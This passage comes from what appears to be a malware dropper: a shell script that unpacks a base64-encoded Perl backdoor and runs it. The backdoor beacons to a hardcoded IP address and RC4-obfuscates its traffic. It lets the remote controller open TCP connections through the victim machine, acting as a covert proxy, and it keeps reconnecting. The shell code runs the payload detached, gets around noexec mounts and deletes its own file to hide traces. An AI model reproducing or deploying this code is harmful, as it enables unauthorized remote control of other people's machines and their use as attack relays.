BceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_fecf01b2() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZ